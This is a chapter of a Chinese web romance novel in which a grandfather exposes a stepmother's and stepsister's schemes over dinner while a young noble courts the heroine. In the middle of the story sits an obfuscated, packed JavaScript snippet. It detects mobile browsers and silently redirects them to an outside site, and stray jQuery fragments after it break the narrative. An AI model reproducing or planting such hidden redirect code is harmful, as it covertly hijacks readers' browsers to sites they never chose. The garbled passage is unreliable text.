53. 第 53 章

作品:《榻上逐欢

    二人约莫天黑才从床榻起身,此时荟如已经在屋外催了几次,说是崔老爷已经在若尘苑等了许久。


    听言,柳芳菲自是惊慌失措,立刻起身穿上衣裙往外跑,全然不顾身后的司徒妄脸色铁青地抱着她的长袍在后头追。


    “看样子,我下午对你还是太过温柔,所以才跑得这样欢快。”司徒妄大步上前扯住她身后衣襟,将长袍裹在她身上系好。


    “只是担心阿公等得太久……”


    手被粗粝的大掌握住,她微微挣扎,“还是不要牵了……”


    “欢欢,你以为崔老会不知晓我俩在一起?此举反倒欲盖弥彰。”


    说话间,二人抵达若尘苑,十指紧扣。


    崔晟康眯起眸子盯着二人看,自家孙女红着脸低头根本不敢看他,而司徒妄那个混小子……


    依旧是那副坦荡的悠闲模样。


    看得人心头一股子火。


    又似想起了什么,他直言道:“欢欢过来,别和采花贼坐一块儿。”


    柳芳菲不明就里被自家阿公拉着坐下,而司徒妄却兀自一笑。


    采花贼?


    这个词新鲜,同登徒子这个名声差不了多少。


    他只当是崔老觉得自己与欢欢做了那种事,对他心有怨怼,却未曾想听得饭桌上粗沉的声音响起。


    这话是对着他说的:“不瞒小皇爷,欢欢自幼喜欢蔷薇,在她年幼时,老夫便在城东寻了块地儿搭了数十个棚子,为欢欢种了不计其数的蔷薇,派小厮年复一年好生伺候着。今日午睡起身想起,便去那棚子看看,未曾想小厮竟告诉我前些日子来了个采花贼把这棚子连盆带花全都偷走了。”


    司徒妄越听越觉得不对劲。


    感情采花贼竟是字面意思,可那棚子被偷与他何干?霎那间,他终是想起了什么,扭头看向身侧低眉的司徒一,眼皮狠狠一跳。


    莫不是……


    “据小厮说,那采花贼身强力壮人高马大,威逼利诱想买下花棚不成,最后竟用了迷香。虽说醒来棚子里放了不少金银珠宝,可终究是给人家心中留下了不小的阴影。”


    崔晟康说得有板有眼,眼珠子在司徒妄主仆二人身上来回流转。


    柳芳菲就是再不懂,也回忆起前些日子放在观澜苑里的满室蔷薇。


    当时她就有些疑惑,大雪天怎会得来这么多艳丽的蔷薇,竟没想到竟是从阿公造的棚子里拿的。


    只是阿妄就这样被说成为采花贼,真就觉得好笑心酸极了。


    忍住想要偷笑的心情,她挽住崔晟康的手撒娇:“阿公,当初是我想要那些蔷薇才让司徒公子去拿的,您也知晓那时候我腿还未好全……”


    “你少替他说话,这小子什么秉性我会不知?无非是他为了讨你欢心,赶鸭子上架让小一走投无路,才想出这一法子。”


    崔晟康眼神幽幽地看着司徒妄,等着他开口解释。


    司徒一在后边儿不停点头,若非跟了个强人所难的主子,谁会做那种作奸犯科的事。


    知他者,崔老也。


    司徒妄将他生动的表情尽收眼底,随即一笑:“小一呀。”


    司徒一打了个机灵,不妙。


    小皇爷每次这样喊他,非奸即盗。


    “小一呀,你来告诉崔老,真是爷逼你去做这事的?”


    果然,又被威胁了。


    他很无助,但他还是坚定地摇摇头:“崔老误会了,小皇爷的确让属下寻蔷薇花不假,可也没有逼迫属下任何,一切全凭属下自愿。”


    司徒妄紧接着承诺:“崔老勿气,是我对下属管教无方,毁了您对欢欢的一片心意。我会让小一从明日起前往花棚,重新种一批新的蔷薇出来。”


    被点名道姓说是管教无方的小一:很气,很委屈。


    期间,晚膳上桌,冒着香气,柳芳菲再次撒娇:“阿公,我饿了,能不能先吃饭?”


    崔晟康冷嗤,尽管对于花棚被毁心头依旧不舒畅,可还是抿唇点头示意开饭。


    按照身份地位来讲,本是司徒妄说了算。


    可奈何崔老爷辈分在,姑且不说他在蒲州名气大,势力不凡。光她是欢欢阿公这层关系,司徒妄也得认命低头。


    虽说崔老爷没有故意拿乔,他也坐下继续吃饭了,可他和欢欢既不对坐,也不挨着坐,中间生生隔了柳老爷跟崔老爷两人,是想看看不到,想摸摸不了。


    食不知味。


    这顿饭,同样吃得不痛快的还有心思不断地赵琼华母女。


    如今二人双腿尽废本就处于劣势,加之来了个故人给柳芳菲做靠山,日子便更难了。


    席间,司徒妄为了讨好崔老爷,定然免不了敬酒讨好,连带着柳老爷也跟着喝了不少。


    几人聊得也还算痛快。


    直至一道女声打断了他们的谈话:“阿公,许久未见您,鸢儿敬你一杯。”


    声音娇柔,发颤,显然是害怕。


    崔晟康循着声儿看过去,蹙眉,终是认了出来。


    柳鸢儿。


    赵琼华跟一个铁匠的女儿。


    当年见她第一面儿的时候,他便不喜。


    说不出为何,不过是浸淫江湖多年,形形色色看遍,眼光毒辣是人是鬼也能看透几分。


    分明比欢欢还小的年龄,却在无意间听得她问:“母亲,日后这里的所有东西都会是鸢儿的吗?”


    而赵琼华是怎么回答的?


    她说:“鸢儿乖,母亲会把整个柳府送给你做嫁妆。”


    自此,崔晟康就对母女俩有了戒备。


    怀疑一旦滋生,以他敏锐的直觉便能找出许多蛛丝马迹。然而那时柳常明忙于生意,欢欢又被两人哄骗得团团转,他说的话没有人信。


    这些年他常在蒲州,与皇家官家世家都有交道,如今再看这对母女,那股子强大的气场立刻从神色中冒出来,看得柳鸢儿后背直冒冷汗。


    “阿公,我是鸢儿。”


    面对审视的目光,她又说了声。


    “柳常明娶了你母亲,如今他再喊我一声父亲,我尚且觉得不合规矩,不过,念在他是欢欢生父的份上,他这样喊了,即便不合规矩也就罢了。”


    崔晟康话说得极慢,声音极轻、极沉,不可抗拒,“柳姑娘的阿公可不是我,你还是随着大流喊我一声崔老爷吧。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15760057|174021||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一点面子也不给。


    柳鸢儿端着酒杯进退两难,双眼的雾气说来就来。


    然后还是赵琼华结果她手中酒杯解了围:“崔老爷说笑了,我与老爷夫妻多年,鸢儿也与老爷亲密得同亲生父女那般。”


    “哦?”


    崔晟康将目光转到柳常明,反问道,“将旁人女儿认作亲生女儿,却对自己真正的女儿不管不顾?你就是这样对待欢欢的?”


    柳老爷被训斥,赵琼华第一时间变了脸色。


    咬牙愤恨,本是一句正常得再正常不过的话,却被死老头曲解成这样。


    “阿公别动怒。”


    柳芳菲给他顺气儿,“其实姨母与妹妹待我挺好的,爹爹待我也好。”


    “是很好。”


    司徒妄附和,“为了欢欢的腿寻遍名医,长年累月喝药也不见好,最后却被我带来的几贴药膏给敷好了。”


    话落,赵琼华手中酒杯落地,发出脆响。


    心头不停打鼓,尤其是瞧见崔老爷脸色铁青的模样,更是怕得连头都不敢抬,脸皮煞白。


    这还不算完,司徒妄清越冷冽的声音继续响起:“欢欢小时溺水曾遇一少年,她们把那少年也找来了。”


    “担心欢欢无人照拂,于是让撮合少年与欢欢,都到了谈婚论嫁的地步。”


    “前些日子,那少年还偷摸进入柳府,跑进清欢苑妄图轻薄欢欢,被我逮了个正着,现在都还在观澜苑关着。”


    点到即止,桩桩件件都未曾说得清楚,可崔晟康却从寥寥数语中将所有事情七拼八凑起来。


    一时间,屋内很是寂静。


    崔晟康终是将这些事情全都消化下来,眸色沉沉地看向她们母女。


    许久,他开口问起:“柳府虽不若皇宫守卫森严,可好歹有无数侍卫把守,你觉得那畜生是如何偷摸进来的?”


    话,是对着赵琼华问的。


    面对质问,她仓皇摇头否认:“我……我不知道……这不是,不是真的……”


    “你的意思是爷说的都是假话?”


    “不不不……”


    左右为难,赵琼华除了插科打诨用结巴掩饰尴尬,别无她法。


    “阿公您别为难姨母了。”


    这时,柳芳菲说道,“自从欢欢腿伤以来,姨母为了我操了不少心。现在鸢儿妹妹腿上有疾,咱们也不能做无情无义之人。”


    话听起来知书达理,崔晟康却觉得阴阳怪气得很。


    对此他反而很是欣慰,便跟着她一唱一和起来:“依欢欢的意思,我们应该报恩。”


    柳芳菲若有其事的点头:“欢欢坐在素舆上的那些日子,姨母与鸢儿妹妹唯恐欢欢日后无人照拂,故而才选了张公子说亲,如此想来,在姨母与妹妹的心里,张公子定然人品秉性极佳。如今小皇爷在,欢欢斗胆为鸢儿妹妹求门亲事。”


    司徒妄眉眼一挑,这小妮儿竟喊他小皇爷。


    这种情趣倒是不错。


    “你是我认定的妻子,在这里除却我,你的地位最高。”


    实属是明着给柳芳菲抬身份了。


    言外之意,柳鸢儿的婚事你完全可以做主。